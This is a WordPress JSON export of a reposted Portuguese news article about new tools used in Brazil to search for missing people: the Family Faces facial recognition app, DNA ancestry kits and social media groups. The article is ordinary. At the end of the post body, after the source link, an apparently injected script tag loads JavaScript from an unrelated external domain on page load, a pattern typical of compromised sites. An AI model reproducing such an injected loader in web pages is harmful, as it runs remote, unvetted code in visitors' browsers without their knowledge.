{"id":495,"date":"1969-12-31T21:00:00","date_gmt":"1970-01-01T00:00:00","guid":{"rendered":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/confira-novas-tecnologias-usadas-na-busca-por-desaparecidos-no-brasil\/"},"modified":"1969-12-31T21:00:00","modified_gmt":"1970-01-01T00:00:00","slug":"confira-novas-tecnologias-usadas-na-busca-por-desaparecidos-no-brasil","status":"publish","type":"post","link":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/confira-novas-tecnologias-usadas-na-busca-por-desaparecidos-no-brasil\/","title":{"rendered":"Confira novas tecnologias usadas na busca por desaparecidos no Brasil"},"content":{"rendered":"<p> <br \/>\n<\/p>\n<div>\n<p dir=\"ltr\">Em 2020, 172 pessoas desapareceram por dia, em m\u00e9dia, no territ\u00f3rio brasileiro. Essas quase 200 pessoas que sumiam cotidianamente eram crian\u00e7as, adultos, homens, mulheres, n\u00e3o-bin\u00e1ries, de diferentes etnias e de todas as regi\u00f5es do pa\u00eds. E apesar do \u00edndice ser assustador, 2020 foi o ano com menor n\u00famero de desaparecidos na \u00faltima d\u00e9cada segundo o Anu\u00e1rio de Seguran\u00e7a P\u00fablica 14 \u2014 uma queda ainda a ser explicada.<\/p>\n<p dir=\"ltr\">Na busca por reduzir esse n\u00famero e ampliar o de encontrados, ONGs v\u00eam investindo em novas tecnologias. O cruzamento de <a href=\"https:\/\/www.uol.com.br\/tilt\/redes-sociais\/ \">redes sociais<\/a> com bancos de dados p\u00fablicos e outras informa\u00e7\u00f5es de livre acesso online tendem a aumentar seu potencial com a instaura\u00e7\u00e3o de ferramentas menos conhecidas ou de dif\u00edcil acesso ao p\u00fablico, como aplicativos de reconhecimento facial e exames de DNA de <a href=\"https:\/\/www.uol.com.br\/tilt\/startups\/\">startups<\/a> que rastreiam genealogia mundial.<\/p>\n<h2>Reconhecimento facial<\/h2>\n<div class=\"photoembed-wrapper\">\n<figure class=\"photo photo-embed no-gutter col-sm-24  crop-750x421 limit-crop  figure\" style=\"max-width:750px\" data-format=\"horizontal\">\n<div class=\"image bg\">\n<div class=\"placeholder\" style=\"max-width:750px\">   <img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/conteudo.imguol.com.br\/c\/noticias\/77\/2020\/12\/18\/family-faces-app-criado-por-iniciativa-da-ong-maes-da-se-1608319281000_v2_750x421.png\" class=\"pinit-img\" alt=\"Family Faces, app criado por iniciativa da ONG M\u00e3es da S\u00e9 - Reprodu\u00e7\u00e3o - Reprodu\u00e7\u00e3o\" data-crop=\"{&quot;xs&quot;:&quot;450x253&quot;,&quot;sm&quot;:&quot;750x421&quot;,&quot;md&quot;:&quot;600x337&quot;,&quot;lg&quot;:&quot;750x421&quot;}\" width=\"750\" height=\"421\"\/>  <i class=\"placeholder-mask\" style=\"padding-bottom: 56.13333333333333%\"\/><\/div>\n<\/div><figcaption class=\"container bottom-title\">\n<p>Family Faces, app criado por iniciativa da ONG M\u00e3es da S\u00e9<\/p>\n<p> <span>Imagem: Reprodu\u00e7\u00e3o<\/span><\/figcaption><\/figure>\n<\/div>\n<p dir=\"ltr\">Criada em 1996, a ONG paulistana M\u00e3es da S\u00e9 consegue resolver 20% dos casos que recebem usando uma ferramenta bem prosaica: redes sociais como <a href=\"https:\/\/www.uol.com.br\/tilt\/facebook\/\">Facebook<\/a> e Instagram.<\/p>\n<p dir=\"ltr\">Agora, um novo aplicativo deve mudar esse cen\u00e1rio. O Family Faces, desenvolvido pela Multiconnect em parceria com a Microsoft, promete reconhecer facialmente qualquer pessoa cadastrada, independente da idade e das mudan\u00e7as no rosto.<\/p>\n<p dir=\"ltr\">Diferentemente de outras tecnologias de reconhecimento facial, ele n\u00e3o utiliza bancos de informa\u00e7\u00f5es sobre etnia, g\u00eanero e ra\u00e7a, e sim uma m\u00e9trica mais universal: o c\u00e1lculo da dist\u00e2ncia entre 27 pontos do seu rosto. Segundo, Luiz Vianna, fundador da Multiconnect, essas dist\u00e2ncias se mant\u00eam pelo resto da vida, da inf\u00e2ncia \u00e0 velhice &#8211; portanto, seria especialmente \u00fatil no desaparecimento de crian\u00e7as que agora j\u00e1 s\u00e3o adultas.<\/p>\n<p dir=\"ltr\">Vianna conta um teste que fez para o presidente da Microsoft, Brad Smith. Cadastrou no banco de dados a foto antiga de uma funcion\u00e1ria da Multiconnect, de quando ela tinha 14 anos, como se ela tivesse desaparecido nessa idade. &#8220;A\u00ed tiramos uma foto dela agora, com 45 anos. O <a href=\"https:\/\/www.uol.com.br\/tilt\/app\/ \">app<\/a> imediatamente encontrou no banco de dados o caso que t\u00ednhamos cadastrado e identificou que elas poderiam ser a mesma pessoa&#8221;, explica.<\/p>\n<p dir=\"ltr\">O app poderia solucionar, por exemplo, o caso de Ivanise Esperidi\u00e3o da Silva, fundadora do M\u00e3es da S\u00e9, hoje com 60 anos. Desde 1995, ela procura a filha adolescente, Fabiana, que desapareceu no bairo de Pirituba, em S\u00e3o Paulo, onde elas moravam.<\/p>\n<p dir=\"ltr\">Seu luto virou luta: fundou a ONG e encontrou em Vianna um grande aliado, que j\u00e1 doou dinheiro e equipamentos para a organiza\u00e7\u00e3o.<\/p>\n<p dir=\"ltr\">Quando ele soube, em 2017, que a Microsoft havia lan\u00e7ado uma iniciativa mundial chamada A.I. for Good (&#8220;Intelig\u00eancia Artificial para o Bem&#8221;), percebeu que era sua chance de colaborar tamb\u00e9m com sua expertise. A big tech entrou com a tecnologia; a Multiconnect, com a m\u00e3o de obra; e as M\u00e3es da S\u00e9, com o banco de dados.<\/p>\n<p dir=\"ltr\">Quem n\u00e3o colaborou foi o Estado. Por causa da burocracia, ainda n\u00e3o foi poss\u00edvel integrar o Family Faces \u00e0s redes de hospitais e delegacias de pol\u00edcia. Ent\u00e3o, n\u00e3o pode guardar as imagens em bancos de dados, por causa de quest\u00f5es ligadas \u00e0 seguran\u00e7a de identidade. Atualmente, quando um rosto detectado pelo app \u00e9 tido como um potencial desaparecido j\u00e1 cadastrado, um sinal \u00e9 enviado \u00e0 Ivanise, que procura a fam\u00edlia e as autoridades.<\/p>\n<p dir=\"ltr\">Apesar do entrave, nada disso tem custo para a ONG e, se depender de Luiz, nunca ter\u00e1.<\/p>\n<h2>Teste de DNA<\/h2>\n<p dir=\"ltr\">Em cinco anos, a ONG Busca Brasil j\u00e1 localizou quase 5.500 pessoas desaparecidas, geralmente usando m\u00e9todos mais tradicionais de investiga\u00e7\u00e3o. Afinal, essa \u00e9 a especialidade de seu fundador, Jairo Mascen, que fez carreira como detetive particular.<\/p>\n<p dir=\"ltr\">Agora, quando encontra um adulto que pode ter sido uma crian\u00e7a desaparecida muitos anos atr\u00e1s, n\u00e3o saca mais o <a href=\"https:\/\/www.uol.com.br\/tilt\/smartphone\/\">celular<\/a> ou uma c\u00e2mera: ele puxa do bolso um kit de teste de DNA de ancestralidade do laborat\u00f3rio Genera.<\/p>\n<p dir=\"ltr\">&#8220;Esse kitzinho cont\u00e9m um cotonete para colher a saliva da pessoa. Essa saliva vai para uma plataforma e l\u00e1 \u00e9 analisado os dados brutos da pessoa. Eles medem uma porcentagem do DNA e comparam com o da m\u00e3e, pai, av\u00f3, enfim, pra ver se existe o parentesco&#8221;, explica ele.<\/p>\n<p dir=\"ltr\">O kit custa R$ 299,99, mas parte do valor \u00e9 custeado por emissoras de televis\u00e3o com quem ele mant\u00e9m parcerias. Se o caso render, \u00e9 divulgado em uma reportagem exclusiva.<\/p>\n<h2>Rede social<\/h2>\n<p dir=\"ltr\">Tal como as M\u00e3es da S\u00e9, a Associa\u00e7\u00e3o de Apoio e Busca por Desaparecidos tamb\u00e9m recorre bastante ao Facebook. Em seus tr\u00eas anos de exist\u00eancia, a ONG j\u00e1 resolveu 4.112 casos.<\/p>\n<p dir=\"ltr\">Mas as redes sociais t\u00eam seus problemas &#8211; como trolls e estelionat\u00e1rios. &#8220;Sempre tentamos controlar quem entra nos grupos para n\u00e3o expor as fam\u00edlias. Mas \u00e9 muito dif\u00edcil manter esse controle&#8221;, desabafa o fundador, Cl\u00f3vis Ant\u00f4nio Marques.<\/p>\n<p dir=\"ltr\">Marques afirma que j\u00e1 tem a solu\u00e7\u00e3o: uma plataforma pr\u00f3pria, que ampliar\u00e1 o alcance do banco de dados de desaparecidos e diminuir\u00e1 a importuna\u00e7\u00e3o das fam\u00edlias envolvidas.<\/p>\n<p dir=\"ltr\">Marques diz que j\u00e1 tem tudo planejado, mas o projeto ainda est\u00e1 em fase de desenvolvimento. N\u00e3o h\u00e1 uma previs\u00e3o de lan\u00e7amento.<\/p>\n<\/p><\/div>\n<p><br \/>\n<br \/><a href=\"https:\/\/www.uol.com.br\/tilt\/noticias\/redacao\/2022\/04\/26\/reconhecimento-facial-e-dna-novas-tecnologias-na-busca-por-desaparecidos.htm\">Source link <\/a><script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Em 2020, 172 pessoas desapareceram por dia, em m\u00e9dia, no territ\u00f3rio brasileiro. Essas quase 200 pessoas que sumiam cotidianamente eram crian\u00e7as, adultos, homens, mulheres, n\u00e3o-bin\u00e1ries, de diferentes etnias e de todas as regi\u00f5es do pa\u00eds. E apesar do \u00edndice ser assustador, 2020 foi o ano com menor n\u00famero de desaparecidos na \u00faltima d\u00e9cada segundo o&#8230;<\/p>\n","protected":false},"author":1,"featured_media":496,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_kad_post_transparent":"","_kad_post_title":"","_kad_post_layout":"","_kad_post_sidebar_id":"","_kad_post_content_style":"","_kad_post_vertical_padding":"","_kad_post_feature":"","_kad_post_feature_position":"","_kad_post_header":false,"_kad_post_footer":false,"footnotes":""},"categories":[1],"tags":[70,711,45,1087,963,111,126,1086],"class_list":["post-495","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-sem-categoria","tag-brasil","tag-busca","tag-confira","tag-desaparecidos","tag-novas","tag-por","tag-tecnologias","tag-usadas"],"_links":{"self":[{"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/posts\/495","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/comments?post=495"}],"version-history":[{"count":0,"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/posts\/495\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/media\/496"}],"wp:attachment":[{"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/media?parent=495"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/categories?post=495"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/tags?post=495"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}